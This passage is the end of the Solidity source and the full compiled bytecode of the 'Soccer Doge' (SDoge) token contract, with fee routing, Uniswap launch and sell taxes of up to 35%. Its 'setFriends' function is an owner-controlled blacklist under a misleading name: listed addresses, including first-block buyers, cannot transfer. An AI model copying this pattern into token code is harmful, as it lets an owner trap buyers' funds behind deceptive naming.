_isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(4)); _marketingFixedWalletAddress.transfer(amount.div(4)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 5000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); launchBlock = block.number; } function setFriends(address[] memory friends) public onlyOwner { for (uint i = 0; i < friends.length; i++) { if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) { _friends[friends[i]] = true; } } } function delFriend(address notfriend) public onlyOwner { _friends[notfriend] = false; } function isFriend(address ad) public view returns (bool) { return _friends[ad]; } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - trader[buyer].buyCD; } // might return outdated counter if more than 30 mins function buyTax(address buyer) public view returns (uint) { return ((5 - trader[buyer].buynumber).mul(2)); } function sellTax(address ad) public view returns (uint) { if(block.timestamp > trader[ad].lastBuy + (3 hours)) { return 10; } else if (block.timestamp > trader[ad].lastBuy + (1 hours)) { return 15; } else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) { return 20; } else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) { return 25; } else { return 35; } } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613eae565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de919061396f565b610662565b6040516101f09190613e93565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614090565b60405180910390f35b34801561023057600080fd5b5061024b6004803603810190610246919061391c565b610691565b6040516102589190613e93565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614090565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae9190614105565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613a52565b610783565b005b3480156102ec57600080fd5b50610307600480360381019061030291906139f8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b9190613882565b61095f565b60405161033d9190614090565b60405180910390f35b34801561035257600080fd5b5061036d60048036038101906103689190613882565b610aeb565b60405161037a9190613e93565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190613882565b610b41565b6040516103b79190614090565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f99190613882565b610c0a565b60405161040b9190614090565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613dc5565b60405180910390f35b34801561046257600080fd5b5061047d60048036038101906104789190613882565b610dd7565b60405161048a9190614090565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613eae565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e0919061396f565b610e7f565b6040516104f29190613e93565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613e93565b60405180910390f35b34801561053257600080fd5b5061054d600480360381019061054891906139af565b610eb2565b005b34801561055b57600080fd5b506105646110c2565b005b34801561057257600080fd5b5061057b61113c565b005b34801561058957600080fd5b50610592611208565b60405161059f9190614090565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca9190613882565b61123a565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906138dc565b61132a565b6040516106059190614090565b60405180910390f35b34801561061a57600080fd5b506106236113b1565b005b60606040518060400160405280600b81526020017f536f6363657220446f6765000000000000000000000000000000000000000000815250905090565b600061067661066f6118c3565b84846118cb565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611a96565b61075f846106aa6118c3565b61075a856040518060600160405280602881526020016148aa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107106118c3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b6b9092919063ffffffff16565b6118cb565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c46118c3565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90613f70565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614090565b60405180910390a150565b6108726118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690613fd0565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613e93565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b191906141c6565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a1191906141c6565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a7191906141c6565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad191906141c6565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b9191906142a7565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd96118c3565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612bcf565b50565b6000610c54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d46565b9050919050565b610c636118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790613fd0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d91906142a7565b612db490919063ffffffff16565b9050919050565b60606040518060400160405280600781526020017f2053446f67652000000000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c6118c3565b8484611a96565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba6118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90613fd0565b60405180910390fd5b60005b81518110156110be57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f9f57610f9e61444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156110335750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106110125761101161444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b156110ab576001600660008484815181106110515761105061444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806110b6906143a6565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111036118c3565b73ffffffffffffffffffffffffffffffffffffffff161461112357600080fd5b600061112e30610c0a565b905061113981612e2f565b50565b6111446118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c890613fd0565b60405180910390fd5b6001601560146101000a81548160ff0219169083151502179055506078426111f991906141c6565b60178190555043601681905550565b6000611235601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112426118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c690613fd0565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113b96118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143d90613fd0565b60405180910390fd5b601560149054906101000a900460ff1615611496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148d90614050565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061152630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006118cb565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561156c57600080fd5b505afa158015611580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a491906138af565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561160657600080fd5b505afa15801561161a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061163e91906138af565b6040518363ffffffff1660e01b815260040161165b929190613de0565b602060405180830381600087803b15801561167557600080fd5b505af1158015611689573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ad91906138af565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061173630610c0a565b600080611741610dae565b426040518863ffffffff1660e01b815260040161176396959493929190613e32565b6060604051808303818588803b15801561177c57600080fd5b505af1158015611790573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117b59190613a7f565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161186d929190613e09565b602060405180830381600087803b15801561188757600080fd5b505af115801561189b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118bf9190613a25565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561193b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193290614030565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a290613f10565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a899190614090565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afd90614010565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6d90613ed0565b60405180910390fd5b60008111611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb090613ff0565b60405180910390fd5b611bc1610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2f5750611bff610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612aa857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cd85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ce157600080fd5b6001601654611cf091906141c6565b4311158015611d00575060105481145b15611f1f57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611db15750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e13576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f1e565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611ebf5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f1d576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661202c576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120d75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561212d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156126b557601560149054906101000a900460ff16612181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217890614070565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546121d191906141c6565b421115612221576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156122d957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906122bf906143a6565b91905055506005600a819055506005600b81905550612515565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561239157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003016000815480929190612377906143a6565b91905055506004600a819055506004600b81905550612514565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561244957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061242f906143a6565b91905055506003600a819055506003600b81905550612513565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561250157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124e7906143a6565b91905055506002600a819055506002600b81905550612512565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff16156126b4574260175411156126605760105481111561258857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061260c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260390613f30565b60405180910390fd5b602d4261261991906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f4261266d91906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b60006126c030610c0a565b9050601560169054906101000a900460ff1615801561272d5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127455750601560149054906101000a900460ff165b15612aa65760158054906101000a900460ff16156127e25742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154106127e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d890613f90565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461283891906141c6565b42111561284857600a9050612970565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461289891906141c6565b4211156128a857600f905061296f565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128f891906141c6565b421115612908576014905061296e565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461295891906141c6565b421115612968576019905061296d565b602390505b5b5b5b612997600a612989600484612db490919063ffffffff16565b6130b790919063ffffffff16565b600a819055506129c4600a6129b6600684612db490919063ffffffff16565b6130b790919063ffffffff16565b600b819055506000821115612a8b57612a256064612a17600c54612a09601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b821115612a8157612a7e6064612a70600c54612a62601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b91505b612a8a82612e2f565b5b60004790506000811115612aa357612aa247612bcf565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612b4f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b5957600090505b612b6584848484613101565b50505050565b6000838311158290612bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612baa9190613eae565b60405180910390fd5b5060008385612bc291906142a7565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c1f6002846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612c4a573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9b6004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cc6573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d176004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d42573d6000803e3d6000fd5b5050565b6000600854821115612d8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8490613ef0565b60405180910390fd5b6000612d9761312e565b9050612dac81846130b790919063ffffffff16565b915050919050565b600080831415612dc75760009050612e29565b60008284612dd5919061424d565b9050828482612de4919061421c565b14612e24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1b90613fb0565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612e6757612e6661447c565b5b604051908082528060200260200182016040528015612e955781602001602082028036833780820191505090505b5090503081600081518110612ead57612eac61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612f4f57600080fd5b505afa158015612f63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f8791906138af565b81600181518110612f9b57612f9a61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061300230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118cb565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016130669594939291906140ab565b600060405180830381600087803b15801561308057600080fd5b505af1158015613094573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006130f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613159565b905092915050565b8061310f5761310e6131bc565b5b61311a8484846131ff565b80613128576131276133ca565b5b50505050565b600080600061313b6133de565b9150915061315281836130b790919063ffffffff16565b9250505090565b600080831182906131a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131979190613eae565b60405180910390fd5b50600083856131af919061421c565b9050809150509392505050565b6000600a541480156131d057506000600b54145b156131da576131fd565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b60008060008060008061321187613440565b95509550955095509550955061326f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134a890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061330485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061335081613550565b61335a848361360d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516133b79190614090565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea000009050613414683635c9adc5dea000006008546130b790919063ffffffff16565b82101561343357600854683635c9adc5dea0000093509350505061343c565b81819350935050505b9091565b600080600080600080600080600061345d8a600a54600b54613647565b925092509250600061346d61312e565b905060008060006134808e8787876136dd565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006134ea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612b6b565b905092915050565b600080